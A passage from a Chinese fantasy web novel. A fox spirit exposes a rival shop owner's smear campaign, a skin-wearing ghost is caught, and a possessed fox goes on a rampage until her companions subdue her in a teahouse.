库房内的好几个壮汉店员正在清货。白灿灿顶着张娟的脸,学着她的样子趾高气扬地走了进去。
店员们见了,停下手头上的活,低头行礼,整齐道:“东家好!”
白灿灿点点头,扫视一圈,按冉青云交代的那样,学着张娟说话的语调开口问道:“你们事情办得怎么样了?”
闻言,其中一人走上前来,若是冉青云和纪映阳在这儿,就会发现他的身形和今早那位闹事者一模一样。
那人拱手道:“您放一百个心!事情安排得妥妥当当,都说好了,十文钱一个人,在邻近雇了二十个人,保准三天后闹得那王大娘胭脂铺和香梅茶楼都不得安生,只能滚铺盖从天虞城灰溜溜地跑了。”
白灿灿斜睨了他一眼,问:“还有呢?”
那人从库房角落拎出来一个布袋,从布袋里掏出一叠□□,递到白灿灿面前,说:“那位先生新给的□□也到了,您看看,这面具质量可真好,水火不侵,面上那些红疹溃烂就和真的一样!到时让闹事的人都把这面具戴上,街坊邻居们看了,指定吓得把家里从王大娘胭脂铺里买的胭脂水粉都丢了,只能来我们玲珑阁买!”
白灿灿还想再套话,继续问:“还有呢?”
那人挠着脑袋想了半天,弱弱地说:“没、没啦,您吩咐的就是这些呀……”
这一字一句都被白灿灿藏在胸前的铜镜录得一清二楚,实时转播到每一块显影石上,天虞城的各个角落响起纷纷议论——
成衣铺的马大姐天天坐在店门口和人唠嗑,一看见显影石中玲珑阁东家的毒计露馅,磕着瓜子就和街坊邻居聊了起来:“玲珑阁东家心思也太龌龊了,这是成心要害得人家铺子开不下去呀……”
金府里,钱小姐手捧着显影石,对金小华高声说:“你看!我就说王大娘胭脂铺定是被诬陷的,我在她家买了全套的胭脂水粉,用着都可好了!”
烧鸭铺老板对着前来买鸭腿的客人念念叨叨:“我当初明明亲眼见着香梅茶楼不愿收王大娘胭脂铺一文钱,那群闹事的却一口咬定他们收了黑心银子,我就觉得他们肯定是在撒谎……”
……
玲珑阁东家张娟原本还在给庞千山赔笑脸,突然见着过路行人皆对她指指点点,手里拿着显影石,嘴里说着什么“栽赃诬陷”、“蛇蝎心肠”……她迷茫地扭头四望,竟见铺子后头的库房大门大敞,暗道不对,顾不上再和庞千山掰扯,提起裙摆就往库房跑。
那壮汉店员听见她由远及近的脚步声,还以为有陌生人擅闯库房,正要呵斥,一抬头却看见了自家东家的脸。
他呆呆地长大了嘴,看了看左边顶着张娟面孔的白灿灿,又看了看右边的张娟本娟,瞠目结舌道:“怎、怎么有……有两个东家……”
张娟虽然心思不正,脑袋却很活络,回想到那些对她指指点点的路人手里皆拿着一块显影石,立马意识到面前顶着自己面孔的必是香梅茶楼那一只会化形变脸的狐妖,也立马明白自己掉进了香梅茶楼的圈套,对着店员怒吼道:“你都做了什么傻事!自家主子都分不清楚!”
在外头待机已久的冉青云,领着庞千山、纪映阳和玄隐,不紧不慢地闯了进去,将库房大门一关,笑道:“‘做了什么傻事’?他们还能做什么傻事?他们做的事情不都是你吩咐的么?”
门一关,整个库房登时变得昏暗,加上白灿灿,他们五人站作一排,堵死了出口,皆皮笑肉不笑地
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盯着张娟。
张娟怕了,虚张声势地骂道:“你、你们要干什么!告诉你们,我叔父可是张建诚,惹了我,你们都没有好果子吃!”
白灿灿掏出怀里的铜镜,晃了晃,说道:“我劝你可要谨言慎行,现在你的所言所行大家可都看得清清楚楚。”
冉青云也笑道:“你店里那壮小伙可是将你如何栽赃、如何诬陷的事情讲得一清二楚了,城里百姓几乎每家每户都有显影石,大伙儿可是看得明明白白的。”
玄隐蛟仗人势,叉着腰帮腔道:“看得明明白白!”
张娟怒不可遏,跳起来伸手去揪店员的耳朵:“你这蠢猪!都说了些什么呀!”
店员还一头雾水呢,哆哆嗦嗦,支支吾吾,不知自己该不该回答:“我……我……”
庞千山往前一步,气势压人,说:“还有空教训手下呢?你不如好好想想怎么给你叔父一个交代,又怎么给王大娘胭脂铺和香梅茶楼一个说法。”
张娟松了揪着店员耳朵的手,脸色煞白,咽了几口唾沫,结结巴巴地说:“我……我也是受人教唆,这、这才动了歪心思。”
她慌张至极,双手紧紧地抓着毛裘大衣的衣摆,将大衣上柔顺的白毛拽得一团糟。
白灿灿盯着那团乱糟糟的白毛,妈妈被拽着皮毛拖走的样子浮现在眼前,她喉头一酸,心里又涌起一股将对方撕碎的戾气,后脑一阵阵的发麻发疼。
说到这,张娟声音大了起来,激动道:“都怪李之康!要不是他给我出这馊主意,我也不会落到今天这个下场,那人皮面具也是他给我的!全都怪他!你们把他抓到官府去吧!”
李之康?
这名字怎么有些耳熟?
见冉青云等人面露疑惑,张娟生怕他们不信,连忙解释:“真有这么一个人!李之康呀,你们不认识么?他是一个很受城主重用的门客!先前还去过你们茶楼办差事呢!”
等下,李姓的门客?难道是当时来茶楼说要抓走白灿灿的那个瘦子?
可李门客不是已经死了吗?
冉青云突然回想起,她离开天虞城之前,陈三妹正巧和她说过,说城主府里李门客的人皮尸不知为何凭空消失,张建诚张大人怕引起居民恐慌,封锁了门客身死城主府的消息。
冉青云心头一凛,伸手将铜镜关上,接下来要谈的可不是能让城里人知道的消息。
她皱眉问道:“你最后一次见到李门客是什么时候?”
张娟此时生怕受罚,非常配合,有问必答:“就在昨天!昨天他还来催我多派些人去闹事呢!”
当初去城主府,纪映阳一心记挂着不知跑到哪儿去的白灿灿,没怎么关注那惨死的门客,慢了一拍才反应过来:“不对……那什么李门客不是早就已经死了么……我和师姐当时在城主府里都亲眼见到他的……他的尸首了……”
他用词已经算是温和,没说那是一具血肉全无、空空荡荡的人皮尸,只笼统地说是尸首,但张娟还是吓得瞪大了眼,“什么?!死、死了?”
45. 假货风波(四)
李门客身死的消息,由于害怕引起百姓们的恐慌,城主府下令禁止外传,因此天虞城里知道这事的人并不多。
冉青云与庞千山交换了一个眼神,冉青云分析道:“估计那是一只剥皮鬼,所以才需要偷走李门客的人皮尸。”
这么说来,那李门客也是太过可怜,先是被食恶鬼掏空了血肉,空空的一身皮囊又被剥皮鬼再次利用。
庞千山点点头:“那这几日城里的鬼气也可以解释得通了。”
张娟终于意识到自己这几日来可能都是与一具死尸在打交道,心里一阵后怕,腿一软,哐当一声跪倒在地,嘴里喃喃道:“不、不可能……”
她身上的毛裘大衣垂落在地,蹭上了地上的泥沙,脏了一大片。那块脏了的毛裘映在白灿灿眼里,她感觉自己好似后脑被重锤猛击一般,眼前一阵阵发黑。
冉青云没注意到她的异样,居高临下地俯视着张娟,没给张娟平心舒气的时间,开口问道:“你知道李门客现在在哪儿吗?”
张娟脸上一阵白一阵青,嗓子直发抖,哭道:“他他他……他现在就藏在张府客房内……”
纪映阳震惊道:“你什么都不问,就放外男住进自己家?”
张娟悔青了肠子,哭道:“是、是他说他犯了错被赶出城主府,若是我偷偷收留他半个月,他便帮我想法子扳倒王家胭脂铺,我、我就……”
好家伙,这鬼还知道最危险的地方就是最安全的地方。
张建诚大人怎么也想不到,四处都找不到的李门客人皮尸,竟然就偷偷藏在自己弟弟家中。
张娟跪行至庞千山脚边,扯住他的衣摆,哀求道:“庞大人!我家里人都不知道我将他藏在客房里了,若是他出手杀害我家人,那我……”
她泣不成声,一连磕了好几个头,哭道:“求您行行好,将他抓走吧!”
哪怕她不求,那剥皮鬼也是得抓的,总不能放任他为非作歹。
更何况,这剥皮鬼极有可能和先前李门客身体里的食恶鬼有关联。
都说孤魂野鬼,说的是流落在人界的鬼少有会碰上的,一般都是形单影只。
可这食恶鬼前脚刚在李门客身体里吃饱喝足,只留下一个空荡荡的皮囊,剥皮鬼后脚就来接手李门客的人皮尸,说是巧合,冉青云可不信。
如今时间紧迫,张娟供出李之康的那句话已被显影石实时转播,若是那剥皮鬼也得知了这个消息,不知会做出什么事情来。
冉青云拽着张娟的衣领,将她提了起来,说:“你家在哪?带路。”
张娟腿还软着,踉跄了几步,差点儿没站稳,听冉青云这么吩咐,知道他们愿意出手捉鬼,点头如捣蒜,连声道:“好、好……你们跟我来……”说着就急忙往店外跑。
张家有权有势,自然是住在城东,从西坊街到城东几乎横跨了半个天虞城。
张娟没跑几步就气喘吁吁,冉青云索性将她提溜起来,说:“你指路就行。”接着便施展轻功,飞檐走壁,飞速赶往城东。
纪映阳等人也连忙跟上。
冉青云几个起落间就已经跑过半条街,张娟被这速度吓得吱哇乱叫,但好歹没忘记伸出颤抖的手指明方向。
快到张府时,对恶鬼煞气感知更加敏感的驱鬼人庞千山突然看向巷口,大声喊道:“剥皮鬼在那儿!”
几人闻言望去,只见那披着李之康皮囊的剥皮鬼正往东门外的山坡上拔腿狂奔,一手拎着一个昏迷的人。
张娟看清恶鬼手上那两人的模样,撕心裂肺地尖叫道:“娘!爹!”
看来是那剥皮鬼得知事情败露,急忙逃跑,临走时还不忘戴上两个人质。
李之康一介文人,本就跑得不快,还要拎着两个人质,跑得那是慢上加慢。若他弃了人皮,只剩一团黑雾似的鬼魂逃命,现在恐怕早已不见踪影了。
但剥皮鬼若变回鬼魂形态,便伤不了人分毫,只能空等,待遇上一个新鲜的尸身,有新皮可穿,才能继续为非作歹。但新鲜的尸身哪儿是那么好找的?估计他就是舍不得李之康这具皮囊,才不愿意弃身逃命。
冉青云等人很快赶上,剥皮鬼听见身后脚步声,将手里的两个人质丢了一个,企图减轻负重,让自己跑得更快一些。
被丢下的那人是张娟的娘亲,面朝下重重地摔落在地,仍旧不省人事。她后脑勺血迹斑斑,定睛一看,竟有一道手掌长的割伤。
剥皮鬼捉了这两人,原来是为了给自己准备两具备用的人皮尸!
若是他们晚来一些,张娟的爹娘就要被这剥皮鬼活活生剥了。
冉青云松开拎着张娟的手,张娟连滚带爬地跑到娘亲身边,一边鬼哭狼嚎,一边撕下衣摆为母亲包扎止血。
冉青云脚下一点,凌空一跃,轻飘飘落在了剥皮鬼的面前,拔出腰间的桃木剑指着他。
眼看前路被堵死,剥皮鬼急忙扭头往右蹿,可在他右侧,纪映阳已提前站定,手持黄铜师刀。
与此同时,白灿灿和玄隐也已拦住他左侧的去路。
他无路可逃,只好掐住手里人质的脖子,恐吓道:“你们别过来!再过来,我就把他脖子拧……”
他话还没说完,一柄金钱剑带着凛冽的破风声忽地飞过,“铮”的一声,将穿着李之康皮囊的剥皮鬼牢牢地钉在地上,人质扑通一声摔落在地。
看他这出手速度,冉青云回想起初见陈三妹时的场景,陈三妹也是这样以剑作镖,剑如闪电,嗖一下就恶鬼钉在地上。
真不愧是师出同门。
金钱剑插在他的胸膛上,皮囊像泄了气一般迅速干瘪下去,李之康的面孔变得皱皱巴巴。
这皱巴的面孔因疼痛而拧作一团,看上去就像一块烂抹布。剥皮鬼咬牙切齿,恶狠狠地盯着冉青云,道:“算我倒霉!居然栽在你手里两回!”
明明是庞千山伤了他,可他却将这锅盖到了冉青云身上,看上去是恨急了冉青云。
冉青云听出了这声音,和霍家村那被剥皮鬼上身的村医一模一样。她大惊道:“你是……霍家村的剥皮鬼!”
可是,当时那只剥皮鬼明明被冉青云抓捕后上交南淮城衙门了。按照流程,官府会将装有恶鬼的镇鬼葫芦交给镇守南淮城的驱鬼人,再由驱鬼人将剥皮鬼送
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回冥界。
究竟是哪儿出了问题?
是官府偷偷放走鬼怪?是驱鬼人御鬼不力?还是冥界的结界松动,让这恶鬼又跑了出来?
庞千山掏出镇鬼葫芦,正要念咒收鬼,那剥皮鬼突然看向白灿灿,大声喊道:“白灿灿!你为何要与人类为伍?莫不是忘了你娘是怎么死的?”
白灿灿愣住了,她根本就不认得这剥皮鬼,可这剥皮鬼字里行间却似乎很熟悉她。
那剥皮鬼继续说:“你娘她可是被人类活活虐杀的!抽筋扒皮的场面你已经忘了吗?”
听他这么一说,白灿灿不由自主地回想起妈妈被猎妖人抓走时的样子,当时的她躲在暗处瑟瑟发抖,妈妈生怕暴露她的藏身位置,临死前都没赶往她的方向望一眼。
纪映阳见白灿灿脸色不对,握紧黄铜师刀狠狠劈向那剥皮鬼的嘴,催促庞千山道:“你快把他收了呀!”
李之康皮囊的嘴角破了一大道口子,露出空荡荡、黑漆漆的内里。可剥皮鬼还能继续说话,裂开的嘴一开一合,发出桀桀怪笑:“你以为他们真的将你当亲人、当朋友?”
白灿灿后脑一阵剧痛,双手捂住耳朵,大呼:“够了!你住嘴!”
剥皮鬼大笑起来:“他们不过是一时好奇心起,养只小玩意儿罢了,你还真把自己当回事了!”
冉青云走到白灿灿身边,搂住她的肩,坚定地说:“他说的全是鬼话!灿灿,没事的,深呼吸,控制好情绪……”
庞千山终于念完咒语,催动镇鬼葫芦,剥皮鬼化作一团黑雾,从李之康裂开的嘴里飘了出来,被镇鬼葫芦慢慢吸了进去。
随着黑雾一点点消失,剥皮鬼的声音渐渐变弱:“哈哈哈哈哈,只要那位大人还在,我们总会再见面的……”
白灿灿低垂着头,看不清她的脸色。
纪映阳刚想走上前安慰她,白灿灿突然猛地抬头,露出一双猩红得好似滴血一般的眼,左手长出又长又尖的利爪,将轻搂着她的冉青云一把挥开。
冉青云猝不及防,硬生生接下了这一击,摔到几米开外,几道血痕从右肩延伸到左腹,血流如注,将长袍染成湿漉漉的红。她呕出几口鲜血,居然没有晕过去,还能强撑着半坐起来,抬头看见已经化形为白狐的白灿灿。
白灿灿左爪上还滴着血,双眼失焦,嘴里喃喃道:“报仇……报仇……我要为妈妈报仇……”
在她一步之遥,玄隐被这突如其来的意外惊得呼吸都停滞了。冉青云胸口的血痕红得刺眼,仿佛他眼前的整个世界都被染成血红。
他嘴里发出一声尖利的啸叫,骤然变成几丈高的黑蛟,护在冉青云身前,朝着白灿灿亮出闪着银光的尖牙,磅礴的妖气卷起一个以他为中心的巨大龙卷风。
白灿灿虽然看上去理智全无,但似乎还留有感知妖气和杀意的本能。她看了眼狂暴的玄隐,自知不敌,竟马上转身跑了。
这一切都发生在一瞬之间,纪映阳还没反应过来,就见师姐身负重伤、玄隐杀气汹汹、灿灿逃之夭夭,一时间不知道自己是该扶起师姐、该安抚玄隐,还是该追上灿灿,大脑都要宕机了。
46. 假货风波(五)
庞千山当了几十年的捉鬼人,一眼就看出了此时白灿灿身上缠绕着浓浓的鬼气,面色凝重地说:“她身上有鬼附身,八成是食恶鬼。之前我竟都没有发觉,这鬼煞的道行深不可测啊……”
先前陈三妹刚从猫妖元宝身上捉了只食恶鬼,怎么现在又来一只?恶鬼也能买一送一的么?
冉青云擦了擦嘴角的血,哑着嗓子对纪映阳和庞千山说:“我没事,不用管我,你们快去追灿灿……”
短短一句话,她说得甚是吃力,说了几声便咳出了几口血沫。说罢,她抖着手,从乾坤袋里掏出一张符篆,咬牙念诀催动,符篆自燃,符纸灰好似有意识一般飞向她血淋淋的伤口,很快止住了血。
纪映阳自小就习惯了无条件遵从师姐施发的号令,闻言下意识地应了声“好”,转身就要跑,走了两步又担忧地回头,说了句:“师姐,我很快就回来……带着灿灿一起。”说完便不再磨叽,扭头决绝地往白灿灿逃跑的方向追去。
庞千山却不急,他用拇指沾了些冉青云右肩上的血,涂在自己眉心。
冉青云右肩伤口深可见骨,隐隐泛着黑雾似的鬼气。
庞千山凝心闭目,意守百会穴,默念法诀,念罢,他额头上的血印隐隐泛起微光。再睁眼,他眼前便出现了一道蜿蜒的黑气——正是白灿灿逃走的路线。
此乃追鬼诀。
庞千山回头朝冉青云点点头,也不言语,转身施展轻功,顺着黑气追了上去。
白灿灿一走,玄隐周身磅礴的妖气骤减,好似气球被针扎后泄了气一般。他身形缩小成一人高的长度,凑到冉青云身旁,弯下蛟身,看上去就像一把墨黑色的玄铁拐杖。
冉青云撑着玄隐,借力吃力地站起来,扯动了伤口,忍不住倒抽一口凉气,只觉得从右肩到左腹皆是火辣辣的疼,撑着玄隐身子的手不断发颤,站都站不稳。
她颤颤巍巍地走了两步,突然发现原来发抖的不是自己,而是玄隐。
玄隐浑身颤抖不止,低着头,豆大的泪水在他脸上串成两串透明的水沫玉,他却咬紧牙关不泄出一丝哭音。
冉青云见他这模样,伤口上的痛楚仿佛少了几份,还有余力开玩笑:“你哭什么?又不是疼在你身上。”
玄隐一开口,呜咽的哭腔就满溢出来,哆哆嗦嗦地说:“我……你……我……”
冉青云逗他:“你什么你,我什么我?”
玄隐再也忍不住,嗷嗷大哭起来:“若、若是你出事了,我也不想活了哇啊啊啊啊……”
他哭得越大声,冉青云就觉得越好笑,捂着肚子,笑得差点儿撕扯了伤口。
冉青云前世六亲缘薄,背井离乡,逃到一个离原生家庭远远的城市独自生活,哪怕她客死他乡,她那生理意义上的爸妈一定也毫不在意。
她做的是宠物博主的工作,几乎天天足不出户,单是考虑直播策划、视频文案什么的都恨不得把时间掰开了用,实在没时间交朋友、谈恋爱。
她还是第一次听见这种“殉情”宣言,新奇得很。
如今穿越到这个世界,活了已将近二十年,归属感竟比前世还重。
在这儿,她有虽然严厉却疼她宠她的师尊,有情同手足的师弟,有相知恨晚的好友,还有这只明明胆小怕事、却在危机时刻愿意挡在她面前的傻乎乎的小黑蛟。
冉青云眨眨眼,说:“你现在变成人形吧。”
“欸?”
“让我看一看帅哥的俊脸,可能我伤口就不疼了。”冉青云不怀好意,诱骗良家民男。
良家民男玄隐唯命是从,立马变回人形,小心翼翼地搀扶着冉青云。
冉青云伸手摸了把他的嫩脸,吃了口热豆腐,心满意足地笑道:“果真不疼了,立马就好受多了。”
玄隐觉得自己终于派上了用场,心里暗暗开心,急切地问道:“要不要我脱了衣服给你看,这样你会不会更好受一些?”
十分之慷慨,十分之大方,十分之没有廉耻心。
闻言,冉青云差点儿被口水呛住,咳了几声,连忙摆手,说:“不至于不至于,这光天化日荒郊野外的……”
玄隐这才想起当初自己第一次化人形时没穿衣服,便被冉青云和纪映阳训斥了一通,后知后觉地记起人类的穿衣羞耻——人类和蛟族不同,在外头时是要一直穿着衣服的。
于是他点点头,认真道:“好!那等我们回了房间,关上门后,我再脱给你看!”
冉青云:……
好吧,其实……也不是不行。
***
另一边,纪映阳沿着白灿灿逃跑的方向往城西巷子跑,白灿灿一路横冲直撞,所到之处皆是兵荒马乱,行人四处逃窜、吱哇乱叫。
“有狐妖呀!!”
摊主顾不上自家小摊,边跑边喊:“狐妖杀人啦!快跑呀!!”
被白灿灿撞倒的孩童手里还握着一根沾满泥沙的糖葫芦,躺在地上号啕大哭:“好疼……呜啊啊啊……妈妈你在哪儿……”
纪映阳轻功了得,很快就缩短了距离,追着白灿灿跑入一处死胡同。
按照在玉清山庄中师尊所教授的捉妖技法,对于闹市中作乱的妖怪,应以行人安全为重,不得手下留情,需得在最短的时间内重伤甚至杀死作恶的邪祟。
作为一名捉妖师,纪映阳清楚地明白,现在可不是能让他犹豫不决的时候。
可当他抽出腰间的黄铜师刀时,还是下意识地用刀背砍向白灿灿。
他挥刀迅疾如风,白灿灿躲闪不及,被刀背砸到了肩胛,痛呼出声。
虽说用的是刀背,但黄铜师刀重达五十斤,这一击威力仍是不同小可。
白灿灿的肩胛登时凹下了半寸,皮开肉绽,殷红的血液在她柔顺的白毛上淌下,颜色明艳,亮得刺痛了纪映阳的眼。
纪映阳本该趁势而上,提刀再砍,却被这抹血痕晃了眼,动作一滞。
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>可失去了理智的白灿灿可不会心软,她张开血盆大口,高高啸叫一声,朝着纪映阳重重地挥下一爪。
纪映阳反应极快,将有着符咒保护的黄铜师刀横在身前,立起抵挡攻击的防护墙,挡住了这一击,但是再抬头时,白灿灿已经从他身侧跑过,蹿到主路上去了。
纪映阳发现自己下不去狠手,若不想伤害白灿灿,只能靠咒术或是法阵困住她。
但施定身咒时需要站定不动,若是等纪映阳念完,白灿灿早就跑没影了。
而金锁阵也同样没有施展的空间,一来是纪映阳独自一个人很难一边布阵一边将白灿灿赶到阵法之中,二来是即使能将白灿灿困在金锁阵之中,街上行人熙熙攘攘,总会有人也同样被困在阵里,那时他们可就危险了。
纪映阳一时无计可施,只能先追上去再做打算。
但白灿灿早已跑到大道上,就更难捉住了。只要挡着她路的,不管是街边小摊,还是异族驼队,白灿灿通通撞飞。
纪映阳既要躲避逃窜的行人,又要小心被打飞的重物,城里大街小巷四通八达,他一时不慎竟将白灿灿跟丢了。
好在庞千山也立马赶了上来,他眉间的拇指血印泛着黑气,雾蒙蒙的黑气萦绕在他的双眼之前,使得他可以看清寄生在白灿灿身上的那只食恶鬼的去向。
庞千山追踪着恶鬼煞气往前跑,对纪映阳言简意赅地喊了一句:“跟上!”
纪映阳立马明白他有追踪之法,脚下一点,腿上运劲,紧紧地跟在他身后。
白灿灿已完全丧失了理智,自顾自地往前跑,根本分辨不出拦住她前路的是纪映阳还是摊贩,只觉得自己好似醉了酒一般晕晕乎乎的,脑海里密密麻麻地挤满了同一个念头——要为妈妈报仇!
她好恨啊!
她一路跌跌撞撞,一会儿一头撞上茶摊,一会儿身侧剐蹭院墙,没跑几步已是伤痕累累,再加上纪映阳用刀背在她肩胛骨打出的那个淌着血的淤伤,已是遍体鳞伤,原本柔顺的白毛凌乱不堪。
她却仿佛不知疼痛,也不知疲惫,满墙恨意驱使她向前狂奔,无法停下步伐。
妈妈被人类擢筋剥肤、死不瞑目,那她也要将凶手剥皮抽筋、碎尸万段才行。
她双眼流下两行血泪,嘴里喃喃道:“报仇……报仇……为妈妈报仇……”
但现在那凶手又在何处?白灿灿一无所知。
她脑子里混乱得很,机械地迈开腿,不断地往前跑。
兜兜转转,不知不觉间,她竟跑向了整座天虞城中她最熟悉的地方——西坊街的香梅茶楼。
刘掌柜原本在茶楼里招待茶客,听见门外远远传来一阵鸡飞狗跳的声响,走到门前,探着查看情况。
这一看便吓了一跳,她一眼就认出那只白狐妖是与她朝夕相处十几年的灿灿,见白灿灿狼狈不堪地狂奔,还以为她受了什么欺负,正在逃命,急忙对着白灿灿喊:“灿灿,这儿!快来阿娘这儿!”
47. 假货风波(六)
白灿灿原本已理智全无,全凭本能在横冲直撞,但不知为何,听见刘掌柜的声音,她却停下了脚步,扭头往刘掌柜的方向跑去。
刘掌柜张开双手,想将白灿灿护进怀里,谁知白灿灿脚步不停,一个猛冲就将刘掌柜连带着半开的木门撞得飞了出去。
半扇木门瞬间裂开,歪歪斜斜地挂在单侧门框上。
刘掌柜好似断了线的风筝一般飞了出去,后背撞上大堂里的账台,发出砰的一声巨响。
人参妖丫丫原本坐在角落的雕花凳上,晃悠着腿,吃着刘掌柜给她买来的桂花糕,被这巨响吓了一跳,嘴里还咬着半块桂花糕,慌忙躲到桌子下,又悄悄探出头看,见刘掌柜口吐鲜血、倒在地上,着急地大声“呀”了一声,毫不犹豫地从桌子下钻出来,迈着小短腿就冲着刘掌柜跑了过去。
白灿灿好似也被这巨响吓到,愣在了原地。
刘掌柜已经晕了过去,丫丫扑到她的身上,伸出小圆手搂住刘掌柜的脖子,不知所措地哇哇大哭起来。
丫丫身上泛起淡淡的白光,很快,刘掌柜苍白的脸色竟肉眼可见地红润起来。
白灿灿从怔愣中回过神来,伸爪一挥,将大堂中央的雕花桌掀飞,重重地砸到实木楼梯上,压塌了一大片。
她眼神已完全失焦,被攻击人类的恶意操纵着,朝刘掌柜走了过去。
庞千山和纪映阳追踪着妖气姗姗来迟。见状,纪映阳大喝一声,拔出腰间的黄铜师刀攻过去,成功将白灿灿的注意力吸引了过来。
白灿灿咆哮一声,长着血盆大口,杀意十足地冲向纪映阳。
庞千山掏出铜钱开始布锁鬼阵,嘴巴也没闲着,对着纪映阳说:“食恶鬼寄生于恶念上,消除恶念,食恶鬼就没法继续躲在宿主躯体里了。”
纪映阳一边躲避白灿灿的攻击,一边大喊大叫:“这我知道!问题是现在怎么消除恶念啊!”
他亲眼见过长风镖局的总镖头风颢天硬生生将猫妖元宝揍得万念皆空、恶念全无,逼出了食恶鬼。
但此时情况大不相同,暂且不说他对白灿灿下不下得去手,就算他真下得去手,也不一定打得过此时狂暴的白灿灿。
纪映阳狼狈问道:“还有别的法子让食恶鬼从她身体里出来吗?”
“有是有……”庞千山说得吞吞吐吐,“等食恶鬼吃饱了,也会自己从身体里出来……”
要是真等他吃饱了,那白灿灿就只剩一具人皮尸了!
纪映阳咬咬牙,大喊:“灿灿!你快醒醒!这儿是香梅茶楼!不是杀妖作坊!”
谁知白灿灿听见“杀妖作坊”四个字,杀意更浓。回应纪映阳的是惊天动地的一巴掌,直接把他糊到了墙上。纪映阳只感觉自己好似被重锤击打过一般,浑身都要散架了。
白灿灿一跃而起,奔向纪映阳,张开口就要咬住他的咽喉!
布锁鬼阵布到一半的庞千山丢下铜钱,在千钧一发之际挡在了纪映阳身前,拔出金钱剑,横剑挡住白灿灿的攻击。
“锵”的一声,金钱剑与利齿相撞,火星四溅。
庞千山是鼎鼎大名的驱鬼人,功夫了得,但他一辈子都在和没有实体的恶鬼打交道,对上具有实体的妖族不免有些吃力。
白灿灿一口咬住金钱剑,使劲一甩,庞千山险些被连带着一起甩飞,只好松手弃剑。
金钱剑竟被白灿灿硬生生咬成两截。
别说庞千山了,学了十几年捉妖技法的捉妖师纪映阳都鲜少见过如此强大的妖族。
玄隐扶着受伤的冉青云,本来想着回香梅茶楼上药养伤,没想到刚走到巷口就听见香梅茶楼那儿传来打斗的声音。
冉青云暗道不好,踉跄着往茶楼走,走近了,发现茶楼已是一片狼藉——大门开裂,楼梯坍塌,满地尘沙,刘掌柜倒在账台边上一动不动,人参妖丫丫匐在她身边痛哭,纪映阳摔在墙角,正强撑着想要站起来,而庞千山则手无寸铁,全凭轻功上蹿下跳躲避白灿灿的攻击。
冉青云身受重伤,想拔剑上前帮忙,却实在是力不从心,好在她头脑还清醒,略一思忖,便对玄隐说:“你不用扶着我了,你赶紧上去拖住白灿灿,别让她离开茶楼。”
玄隐听命,点点头,化为蛟身,摇着尾巴就冲了上去,对着白灿灿的尾巴狠狠咬了一口。
此时玄隐不似之前狂暴状态下妖气磅礴,看上去不过是一只平平无奇的小蛟妖,因此白灿灿这回就没有被他的妖气与杀意吓跑。
她吃痛回头,只见玄隐挑衅般嘶吼一声,身子一扭,往角落逃了,理智全无的白灿灿震怒,不再注意庞千山,冲着玄隐追了上去。
趁玄隐吸引着白灿灿在大堂内绕圈圈,冉青云对庞千山喊道:“你快布锁鬼阵!”又捂住伤口,扶着墙吃力地走到纪映阳身边,燃起符咒,往他嘴里塞了几口符纸灰,问道:“还站得起来吗?”
纪映阳原本慌得不行,见冉青云来了,顿时觉得有了靠山,再加上符纸灰一入口,周身的疼痛顿时好了许多。他看向关心自己的师姐,感动地说:“多谢师姐!问题不大,皮外伤而已!”
冉青云点点头,无情地说:“没事就别在这躺着了,快起来帮忙。”
纪映阳收回感动,瘪着嘴,撑着黄铜师刀站起身。
冉青云问:“我以前教你的十字镖幻术还记得吗?”
这十字镖幻术乃是冉青云自创的法术,此术毫无攻击性,最多只能吓人一跳,纯粹是冉青云为了恶作剧发明的。当初在霍家村,冉青云就是用这个幻术恐吓了霍家村村长。
纪映阳点点头,当初他可是帮冉青云抄了整整三天的课业,冉青云才愿意教他这个幻术。
冉青云说:“待会我一声令下,你就马上用十字镖幻术从四面八方攻击白灿灿,逼得她原地腾空跳起,可以做到吗?”
“可以!”纪映阳回答得极其响亮,他自小习惯了遇事就听冉青云安排,也不问为什么要逼得白灿灿原地跳起,总之无条件服从冉青云的吩咐就对了。
冉青云满意地点点头,扭头冲着绕着圈儿逃窜的玄隐喊道:“玄隐!来我这里!”
玄隐也是一样,唯冉青云命令是从,听她这么喊,立马原地转身,“嗖”的一下往冉青云身边跑。
白灿灿怒吼着,也追着玄隐跑了过来。
冉青云冲着玄隐伸出手,在玄隐的脑袋够到她手心的那一个瞬间,她对着纪映阳大喊:“就是现在!”
话落,纪映阳已使出十字镖幻术,密密麻麻的一整圈十字镖将白灿灿围在中心,带着破风声,向着她飞刺过去。
白灿灿无处可逃,只能原地高高跳起。
与此同时,玄隐刚感觉冉青云的手抓住自己的身子,下一刻就是一阵天旋地转,只觉得自己转着圈飞了起来。
冉青云像牛仔套牛一样,将玄隐当做绳索一样甩向白灿灿,喊道:“玄隐!绑住她!”
可怜玄隐在半空中乱转时还突然多了一个任务,他的脑袋撞上白灿灿的身子,蛟身由于惯性,一圈圈缠绕
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起来。
他晕头转向,愣了几秒才意识到冉青云刚刚说的话是让他绑住白灿灿,于是急忙勒紧蛟身,将白灿灿牢牢缠住。
一蛟一狐就这么噗咚一声掉在了地上。
玄隐牢记使命,使出全力缠紧。
白灿灿奋力挣扎,却始终挣脱不开。
纪映阳见冉青云毫不犹豫地就将玄隐当麻绳使——还是条会自动调节松紧的麻绳,他对冉青云肃然起敬,又对玄隐深表同情。
被同情的玄隐却在沾沾自喜,为自己圆满完成了冉青云交代的任务而得意,牢牢困住白灿灿,尾巴尖一晃一晃的,对着冉青云说:“我抓住啦!我抓住啦!”
冉青云随口夸道:“真厉害。”
抓是抓到了,可接下来怎么办?
冉青云原本以为抓住了白灿灿,食恶鬼就会舍弃白灿灿的躯体,化为无实体的状态逃跑,谁知现在这食恶鬼似乎是铁了心地要躲在白灿灿体内了。
冉青云看向庞千山,说:“还有什么法子吗?”
庞千山面色凝重,皱着眉头努力想办法。
三人围着白灿灿想办法,白灿灿眼神失焦,嘴里恶狠狠地念叨着:“报仇……报仇……妈妈……报仇……”
刘掌柜悠悠醒来时,就听见白灿灿着了魔似地喃喃自语。
看到眼前的场面,刘掌柜虽不清楚具体缘由,但也能立即想明白个大概,估计是白灿灿又失控了,大伙儿刚刚合力将她控制住。
刘掌柜捂着隐隐作痛的胸口,强撑着站起身子,走到白灿灿的身边。
丫丫怯怯地跟在刘掌柜身后,刚探出个脑袋想看看白灿灿,差点儿被白灿灿张口咬着了,吓得钻进了刘掌柜的裙底。
刘掌柜伸手摸了摸白灿灿毛茸茸的脑袋,温柔地说:“哎,妈妈在呢……”
白灿灿扬起脑袋想去咬刘掌柜的手,喃喃道:“报仇……妈妈……报仇……”
刘掌柜却不躲开,仍是一下又一下地摸着白灿灿的头顶,好像在哄一个哭闹的婴孩入睡一般,动作轻柔、缓慢。
